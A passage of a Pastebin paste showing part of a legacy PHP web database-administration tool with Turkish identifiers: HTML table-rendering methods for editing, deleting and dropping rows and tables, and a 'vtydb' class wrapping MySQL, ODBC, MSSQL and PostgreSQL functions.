  3048. "\t\t\t".'<td align="right" >'."\n".
  3049. "\t\t\t\t".'<a href="#EnAlt">'.$this->vty->dug->dil['EnAlt'].'</a> '.$this->vty->ara().' <a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['SayfaYnl'].'</a> '.$this->vty->ara().' '."\n".
  3050. "\t\t\t\t"."<a href=\"".$this->vty->urlyap($this->vty->linkler."stb=")."\">".$this->vty->dug->dil['Yukari']."</a>&nbsp;"."\n";
  3051. $this->vty->tabloSonu();
  3052. $this->vty->tabloBas('','1','5','','0','#E9EDE9');
  3053. }
  3054.  
  3055.  
  3056. function asil_tablo_ust()
  3057. {
  3058. echo "\t".'<table width="'.$this->vty->dug->gor['table_width'].'" border = "'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'" cellpadding="'.($this->vty->dug->gor['cellpadding']+2).'" nowrap >'."\n".
  3059. "\t".'<form name="dsform" method="post" action="'.$this->vty->urlyap("ne=sectim&".$this->vty->linkler).'" >'."\n".
  3060. "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" height="30" >'."\n".
  3061. "\t\t\t".'<td nowrap width="'.$this->vty->dug->gor['asilTbSagYan'].'" align="center" bgcolor="#efefef" >'."\n";
  3062. if($this->vty->ilk=='ki') echo ' <a href="'.$this->vty->urlyap("ilk=uz&".$this->vty->linkler).'">'.$this->vty->dug->dil['Kisalt'].'</a>'."\n";
  3063. else echo ' <a href="'.$this->vty->urlyap("ilk=ki&".$this->vty->linkler).'">'.$this->vty->dug->dil['Uzat'].'</a>'."\n";
  3064. echo "\t\t\t".'</td>'."\n";
  3065. }
  3066.  
  3067. function asil_tablo_adlari($query,$numfields)
  3068. {
  3069. $GidecekPrimaryVar = false;
  3070. for($r=0;$r<$numfields;$r++){
  3071. $field_name = $this->vty->db->vty_field_name($query,$r);
  3072. $fetch_field = $this->vty->db->vty_fetch_field($query,$r);
  3073. if($fetch_field->primary_key == "1")
  3074. $GidecekPrimaryVar = true;
  3075. echo "\t\t\t".'<td nowrap >'. '&nbsp;'.'<a href="'.$this->vty->urlyap($this->vty->linkler."&order=".$field_name."&desc=".$this->vty->desc).'">'."<b>".$field_name."</b>";
  3076. if($this->vty->order == $field_name)
  3077. echo $this->vty->desc_resim;
  3078. echo '</a>'.'&nbsp;'.'</td>'."\n";
  3079. }
  3080. return $GidecekPrimaryVar;
  3081. }
  3082.  
  3083. function asil_tablo_hep_hic($numrows)
  3084. {
  3085. if($this->vty->ne <> "duzelt" and $numrows <> '0' )
  3086. echo "\t\t\t".'<td nowrap align ="center" bgcolor="#efefef" width="'.$this->vty->dug->gor['asilTbSolYan'].'">'."\n".
  3087. "\t\t\t\t".'<input type="checkbox" name="sdscheck[]" onClick="return HepsiniSec(\'dsform\',\'sdscheck[]\');" value=\'budonguburadabitmez\'>'."\n".
  3088. "\t\t\t".'</td>'."\n";
  3089. else
  3090. ;//echo "\t\t\t".'<td nowrap align ="center" bgcolor="#efefef" width="10">'."\n"."\t\t\t\t".'&nbsp;</td>'."\n";
  3091.  
  3092. echo "\t\t".'</tr>'."\n";
  3093. }
  3094.  
  3095. /*
  3096. * Asil tablodaki hepsini sec yeri veya sagdaki inputlar
  3097. */
  3098. function asil_tablo_ici_hepsiniduzelt($duzeltid,$i,$numrows)
  3099. {
  3100. if($this->vty->ne =="duzelt" and $duzeltid == $i )
  3101. echo '<input name="ne" type="hidden" value="sectim" >'."\n".
  3102. '<input name="nebu" type="hidden" value="bunlariduzelt" >'."\n".
  3103. '<input name="sdb" type="hidden" value="'.$this->vty->dbname.'">'."\n".
  3104. '<input name="stb" type="hidden" value="'.$this->vty->tablename.'">'."\n".
  3105. '<input name="duzeltid" type="hidden" value="'.$duzeltid.'">'."\n".
  3106. '<input name="GidecekPrimary" type="hidden" value="'.$this->GidecekPrimary.'">'."\n";
  3107.  
  3108. if($this->vty->ne <> "duzelt" and $numrows <> '0')
  3109. echo "\t\t\t"."<td valign=\"top\" align =\"center\" bgcolor=\"#efefef\" width=\"".$this->vty->dug->gor['asilTbSolYan']."\">".
  3110. "<input type=\"checkbox\" name=\"sdscheck[]\" value=\"$i\" onClick=\"sMi();\" >".'</td>'."\n";
  3111. else
  3112. echo "\t\t\t".'<td bgcolor="#efefef" width=\"3\"></td>'."\n";
  3113. }
  3114.  
  3115. /*
  3116. * Asil tablodaki bir satir icin duzelt secili oldugunda.
  3117. */
  3118. function asil_tablo_ici_duzeltdurumu($duzeltid,$i)
  3119. {
  3120. if($this->vty->ne=="duzelt" and $duzeltid == $i)
  3121. echo "\t\t\t".'<td nowrap valign="top" align ="center" bgcolor="#efefef" width="'.$this->vty->dug->gor['asilTbSagYan'].'" >'.
  3122. '<input name="duzelt" type="submit" id="duzelt" value="'.$this->vty->dug->dil['Kaydet'].'"> '.$this->vty->ara().' '.
  3123. '<a href="'.$this->vty->urlyap($this->vty->linkler).'">'.$this->vty->dug->dil['Iptal'].'</a>'.
  3124. '</td>'."\n";
  3125. else
  3126. echo "\t\t\t".'<td nowrap valign="top" align ="center" bgcolor="#efefef" width="'.$this->vty->dug->gor['asilTbSagYan'].'">'.
  3127. '<a href="'.$this->vty->urlyap("ne=duzelt&duzeltid=".$i."&".$this->vty->linkler)."\">".$this->vty->dug->dil['Duzelt'].'</a> '.$this->vty->ara().' '.
  3128. '<a href="'.$this->vty->urlyap("ne=sectim&sdssil=1&sdscheck[]=".$i."&".$this->vty->linkler).'"'.
  3129. 'onClick="return silDe();">'.$this->vty->dug->dil['Sil']."</a>".
  3130. '</td>'."\n";
  3131. }
  3132.  
  3133. function asil_tablo_ici_goruntu_duzelt($result,$query,$r,$GidecekPrimaryVar)
  3134. {
  3135. $field_name = $this->vty->db->vty_field_name($query,$r);
  3136. $GidecekPrimary = '';
  3137. // primary
  3138. if($GidecekPrimaryVar==true){
  3139. $fetch_field = $this->vty->db->vty_fetch_field($query,$r);
  3140. if($fetch_field->primary_key == "1")
  3141. $GidecekPrimary = "&primary[".$field_name."]=".$result;
  3142. }else{
  3143. $GidecekPrimary = $GidecekPrimary."&primary[".$field_name."]=".$result;
  3144. }
  3145.  
  3146. $result = htmlspecialchars($result);
  3147. $alantipi = $this->vty->db->vty_field_type($query,$r);
  3148. $textyeri = $this->vty->AlanTipi($result,$alantipi);
  3149. if(isset($GidecekPrimary))
  3150. $this->GidecekPrimary .= $GidecekPrimary;
  3151. return "\t\t\t"."<td>".$textyeri.'</td>'."\n";
  3152. }
  3153.  
  3154.  
  3155. function asil_tablo_ici_goruntu_normal($result,$ilk)
  3156. {
  3157. //global $iii;
  3158. // $iii++;
  3159. if($ilk == "ki") {
  3160. $result = htmlspecialchars($result);
  3161. $bunuGoster = "\t\t\t"."<td>".$result.'</td>'."\n"; //onmouseover=\"return bcolor('#ffffff',this);\"
  3162. } else{
  3163. $strlen = strlen($result);
  3164. $result = $this->vty->ilk50($result,$this->vty->dug->gor['StrlenMax']);
  3165. $kisalmismi = ($strlen == strlen($result) ? 'h' : 'e' );
  3166. $result = htmlspecialchars($result);
  3167. $result = ($kisalmismi == 'e' ? $result.'<a href="'.$this->vty->urlyap("ilk=ki&".$this->vty->linkler).'">�</a>': $result);
  3168. $bunuGoster = "\t\t\t".'<td nowrap >'.$result.'</td>'."\n";
  3169. }
  3170. return $bunuGoster;
  3171. }
  3172.  
  3173. function asil_tablo_ici_satiryoksa($numrows,$r)
  3174. {
  3175. if($numrows == "0"){
  3176. echo '<tr>'."\n".'<td>&nbsp;</td><td colspan="'.($r).'" bgcolor="'.$this->vty->dug->gor['bgcolor3'].'" width="'.$this->vty->dug->gor['table_width'].'" height="90" align="center" >'.
  3177. "&nbsp;".$this->vty->dug->uy['SatirYok'].' <br><br> '."\n".'<a href="'.$this->vty->urlyap("ne=satirgir&".$this->vty->linkler).'" >'.
  3178. $this->vty->dug->dil['SatirEkle']."</a>".
  3179. "</td> \n </tr> \n";
  3180. }
  3181. }
  3182.  
  3183. function asil_tablo_ici_altkisim($numrows,$r,$i)
  3184. {
  3185. echo "\t\t"."<tr bgcolor=\"".$this->vty->ikirenkli(($i+1),"#f0f0f0","#f7f7f7").'" border = "'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'" cellpadding="'.$this->vty->dug->gor['cellpadding'].'" >'."\n".
  3186. "\t\t\t"."<td colspan=\"".($r+2)."\" >"."\n".
  3187. "\t\t\t\t".'<input type="hidden" name="sdquery_order" value="'.$this->vty->query_order.'">'."\n".
  3188. "\t".'<table width="100%" >'."\n".
  3189. "\t\t".'<tr>'."\n".
  3190. "\t\t\t".'<td align="left" > '."\n"."\t\t\t\t".ereg_replace('@number@',"$numrows",$this->vty->dug->uy['ToplamSatir']).' / '.$this->vty->numrows."\n"."\t\t\t".'</td>'."\n".
  3191. "\t\t\t\t".(($this->vty->ne <> "duzelt" and $numrows <> '0')?
  3192. "\t\t\t".'<td align="right">'."\n"."\t\t\t\t".'<span id="sdsspan" name="sdsspan" >&nbsp;</span>'."\n".
  3193. "\t\t\t\t"."<input name=\"sdsduzelt\" type=\"submit\" value=\"".$this->vty->dug->dil['Duzelt']."\" onClick=\"return sdBiKontrolEt('dsform','sdscheck[]',true,'duzelt','VtyYeniPencere');\" > ".$this->vty->ara()." \n".
  3194. "\t\t\t\t"."<input name=\"sdssil\" type=\"submit\" value=\"".$this->vty->dug->dil['Sil']."\" onClick=\"return sdBiKontrolEt('dsform','sdscheck[]',true,'sil','".$this->vty->dug->uy['EminmisinSil']."');\">&nbsp;&nbsp;\n".
  3195. "\t\t\t"."</td>"."\n":'').
  3196. "\t\t"."</tr>"."\n"."\t"."</table>"."\n".
  3197. "\t\t"."</td>"."\n"."</tr>\n"."</form>"."\n"."</table>"."\n";
  3198. }
  3199.  
  3200.  
  3201. function asil_tablo_alt()
  3202. {
  3203. $this->vty->tabloBas('','0','10','0','',$this->vty->dug->gor['alt_bgcolor']);
  3204. echo "\t\t\t\t".'<li><a href="'.$this->vty->urlyap("ne=satirgir&".$this->vty->linkler).'">'.$this->vty->dug->dil['SatirEkle'].'</a></li>'."\n".
  3205. "\t\t\t\t".'<li><a href="'.$this->vty->urlyap("ne=tablo_bosalt&".$this->vty->linkler)."\" OnClick=\"return Sileyimmi('".$this->vty->dug->uy['EminmisinBosalt']."');\">".
  3206. "\t\t\t\t".'<font color="red" size="1" >'.$this->vty->dug->dil['TbBosalt']."</font></a></li>"."\n".
  3207. "\t\t\t\t".'<li><a href="'.$this->vty->urlyap("ne=tablo_kaldir&".$this->vty->linkler)."\" OnClick=\"return Sileyimmi('".$this->vty->dug->uy['EminmisinKaldir']."');\">".
  3208. "\t\t\t\t".'<font color="red" size="1" >'.$this->vty->dug->dil['TbKaldir'].'</font></a></li>'."\n".
  3209. "\t\t\t"."</td>"."\n".
  3210. "\t\t\t".'<td valign="top" align="right" >'."\n".
  3211. "\t\t\t\t".'<a href="#EnUst">'.$this->vty->dug->dil['EnUst'].'</a> '.$this->vty->ara().' <a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['SayfaYnl'].'</a> '.$this->vty->ara().' '."\n".
  3212. "\t\t\t\t".'<a href="'.$this->vty->urlyap($this->vty->linkler."stb=").'">'.$this->vty->dug->dil['Yukari'].'</a>'."\n";
  3213. $this->vty->tabloSonu();
  3214. echo '<a name="EnAlt" />'."\n";
  3215. }
  3216. }
  3217. ?>
  3218. <?php
  3219.  
  3220. /**
  3221. * vtydb
  3222. *
  3223. * Vty database connection class
  3224. *
  3225. * @access public
  3226. */
  3227. class vtydb
  3228. {
  3229. var $vtAdi;
  3230. var $baglan;
  3231.  
  3232. function vty_connect($conHost,$conKul,$conSif){
  3233. switch($this->vtAdi){
  3234. case 'mysql': $this->baglan = @mysql_connect($conHost,$conKul,$conSif); break;
  3235. case 'odbc': $this->baglan = odbc_connect($conHost,$conKul,$conSif); break;
  3236. case 'mssql': $this->baglan = @mssql_connect($conHost,$conKul,$conSif); break;
  3237. case 'postgresql': $this->baglan = pg_connect($conHost,$conKul,$conSif); break;}
  3238. return $this->baglan;
  3239. }
  3240. function vty_close($conId=''){
  3241. $conId = $this->baglan;
  3242. switch($this->vtAdi){
  3243. case 'mysql': return mysql_close($conId); break;
  3244. case 'odbc': return odbc_close($conId); break;
  3245. case 'mssql': return mssql_close($conId); break;
  3246. case 'postgresql': return pg_close($conId); break;}
  3247. }
  3248. function vty_query($sqlQuery){
  3249. switch($this->vtAdi){
  3250. case 'mysql': return mysql_query($sqlQuery); break;
  3251. case 'odbc': return odbc_exec($sqlQuery); break;
  3252. case 'mssql': /*echo $sqlQuery;*/ $qu = mssql_query($sqlQuery); /*echo mssql_get_last_message($qu); */ return $qu; break;
  3253. case 'postgresql': return pg_exec($sqlQuery); break;}
  3254. }
  3255. function vty_result($sqlQuery,$i,$tb){
  3256. switch($this->vtAdi){
  3257. case 'mysql': return mysql_result($sqlQuery,$i,$tb); break;
  3258. case 'odbc': return odbc_result($sqlQuery,$i,$tb); break;
  3259. case 'mssql': return mssql_result($sqlQuery,$i,$tb); break;
  3260. case 'postgresql': return pg_result($sqlQuery,$i,$tb); break;}
  3261. }
  3262. function vty_error(){
  3263. switch($this->vtAdi){
  3264. case 'mysql': return mysql_error(); break;
  3265. case 'odbc': return odbc_errormsg(); break;
  3266. case 'mssql': return mssql_result(mssql_query("select @@error as hata"),0,'hata'); break; //mssql_get_last_message();
  3267. case 'postgresql': return pg_errormessage(); break;}
  3268. }
  3269.  
  3270. function vty_errno(){
  3271. switch($this->vtAdi){
  3272. case 'mysql': return mysql_errno(); break;
  3273. case 'odbc': return odbc_error($sqlQuery); break;
  3274. case 'mssql': return mssql_min_error_severity(); break;
  3275. case 'postgresql': return 0; break;}
  3276. }
  3277.  
  3278. function vty_fetch_object($conId){
  3279. switch($this->vtAdi){
  3280. case 'mysql': return mysql_fetch_object($conId); break;
  3281. //case 'odbc':
  3282. case 'mssql': return mssql_fetch_object($conId); break;
  3283. case 'postgresql': return pg_fetch_object($conId); break;
  3284. }
  3285. }
  3286.  
  3287. function vty_list_dbs($conId){
  3288. switch($this->vtAdi){
  3289. case 'mysql': return mysql_list_dbs($conId); break;
  3290. //case 'odbc':
  3291. case 'mssql': return mssql_query("sp_databases"); break;
  3292. //case 'postgresql':
  3293. }
  3294. }
  3295.  
  3296. function vty_list_dbs_databasename(){
  3297. switch($this->vtAdi){
  3298. case 'mysql': return 'Database'; break;
  3299. //case 'odbc':
  3300. case 'mssql': return 'DATABASE_NAME'; break;
  3301. //case 'postgresql':
  3302. }
  3303. }
  3304.  
  3305. function vty_list_tables($dbName){
  3306. switch($this->vtAdi){
  3307. case 'mysql': return mysql_list_tables($dbName); break;
  3308. case 'odbc': return odbc_tables($dbName); break;
  3309. case 'mssql': return mssql_query("EXEC sp_tables \"%\",\"%\",\"".$dbName."\",\"'TABLE'\""); break;
  3310. case 'postgresql': return pg_list_tbs($dbName); break;
  3311. }
  3312. }
  3313.  
  3314. function vty_num_rows($query){
  3315. switch($this->vtAdi){
  3316. case 'mysql': return mysql_num_rows($query); break;
  3317. case 'odbc': return odbc_num_rows($query); break;
  3318. case 'mssql': return mssql_num_rows($query); break;
  3319. case 'postgresql': return pg_numrows($query); break;
  3320. }
  3321. }
  3322.  
  3323. function vty_select_db($dbName){
  3324. switch($this->vtAdi){
  3325. case 'mysql': return mysql_select_db($dbName); break;
  3326. //case 'odbc':
  3327. case 'mssql': return mssql_select_db($dbName); break;
  3328. //case 'postgresql':
  3329. }
  3330. }
  3331.  
  3332.  
  3333. function vty_tablename($gelen,$deger){
  3334. switch($this->vtAdi){
  3335. case 'mysql': return mysql_tablename($gelen,$deger); break;
  3336. //case 'odbc':
  3337. //case 'mssql': return mssql_tablename($gelen); break;
  3338. //case 'postgresql':
  3339. }
  3340. }
  3341.  
  3342. function vty_list_fields($dbname,$temptb){
  3343. switch($this->vtAdi){
  3344. case 'mysql': return mysql_list_fields($dbname,$temptb); break;
  3345. //case 'odbc':
  3346. case 'mssql': return mssql_list_fields($dbname,$temptb); break;
  3347. //case 'postgresql':
  3348. }
  3349. }
  3350.  
  3351. function vty_num_fields($list){
  3352. switch($this->vtAdi){
  3353. case 'mysql': return mysql_num_fields($list); break;
  3354. case 'odbc': return odbc_num_fields($list); break;
  3355. case 'mssql': return mssql_num_fields($list); break;
  3356. case 'postgresql': return pg_numfields($list); break;
  3357. }
  3358. }
  3359.  
  3360. function vty_field_name($list,$i){
  3361. switch($this->vtAdi){
  3362. case 'mysql': return mysql_field_name($list,$i); break;
  3363. case 'odbc': return odbc_field_name($list,$i); break;
  3364. case 'mssql': return mssql_field_name($list,$i); break;
  3365. case 'postgresql': return pg_fieldname($list,$i); break;
  3366. }
  3367. }
  3368.  
  3369. function vty_fetch_field($list,$i){
  3370. switch($this->vtAdi){
  3371. case 'mysql': return mysql_fetch_field($list,$i); break;
  3372. //case 'odbc':
  3373. case 'mssql': return mssql_fetch_field($list,$i); break;
  3374. //case 'postgresql':
  3375. }
  3376. }
  3377.  
  3378. function vty_fetch_row($query){
  3379. switch($this->vtAdi){
  3380. case 'mysql': return mysql_fetch_row($query); break;
  3381. case 'odbc': return odbc_fetch_row($query); break;
  3382. case 'mssql': return mssql_fetch_row($query); break;
  3383. case 'postgresql': pg_fetch_row($query); break;
  3384. }
  3385. }
  3386.  
  3387. function vty_fetch_array($query){
  3388. switch($this->vtAdi){
  3389. case 'mysql': return mysql_fetch_array($query); break;
  3390. case 'odbc': return odbc_fetch_array($query); break;
  3391. case 'mssql': return mssql_fetch_array($query); break;
  3392. case 'postgresql': pg_fetch_array($query); break;
  3393. }
  3394. }
  3395.  
  3396. function vty_field_type($list,$i){
  3397. switch($this->vtAdi){
  3398. case 'mysql': return mysql_field_type($list,$i); break;
  3399. case 'odbc': return odbc_field_type($list,$i); break;
  3400. case 'mssql': return mssql_field_type($list,$i); break;
  3401. case 'postgresql': pg_fieldtype($list,$i); break;
  3402. }
  3403. }
  3404.  
  3405. function vty_field_flags($list,$i){
  3406. switch($this->vtAdi){
  3407. case 'mysql': return mysql_field_flags($list,$i); break;
  3408. //case 'odbc':
  3409. //case 'mssql': return mssql_field_flags($list,$i); break;
  3410. //case 'postgresql':
  3411. }
  3412. }
  3413.  
  3414. function vty_field_len($list,$i){
  3415. switch($this->vtAdi){
  3416. case 'mysql': return mysql_field_len($list,$i); break;
  3417. case 'odbc': return odbc_field_len($list,$i); break;
  3418. case 'mssql': return mssql_field_length($list,$i); break;
  3419. case 'postgresql': pg_field_len($list,$i); break;
  3420. }
  3421. }
  3422.  
  3423. function vty_affected_rows(){
  3424. switch($this->vtAdi){
  3425. case 'mysql': return mysql_affected_rows(); break;
  3426. case 'odbc': return odbc_affected_rows(); break;
  3427. case 'mssql': $fe = mssql_fetch_row(mssql_query("select @@rowcount",$this->baglan)); return ($fe[0]?$fe[0]:0); break;
  3428. case 'postgresql': pg_affected_rows(); break;
  3429. }
  3430. }
  3431.  
  3432. function vty_free_result(){
  3433. switch($this->vtAdi){
  3434. case 'mysql': return mysql_free_result(); break;
  3435. case 'odbc': return odbc_free_result(); break;
  3436. case 'mssql': return mssql_free_result(); break;
  3437. case 'postgresql': pg_freeresult(); break;
  3438. }
  3439. }
  3440.  
  3441. function vt_adi ($gelenVtAdi) {
  3442. $this->vtAdi = $gelenVtAdi;
  3443. }
  3444. }//class:db
  3445.  
  3446. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!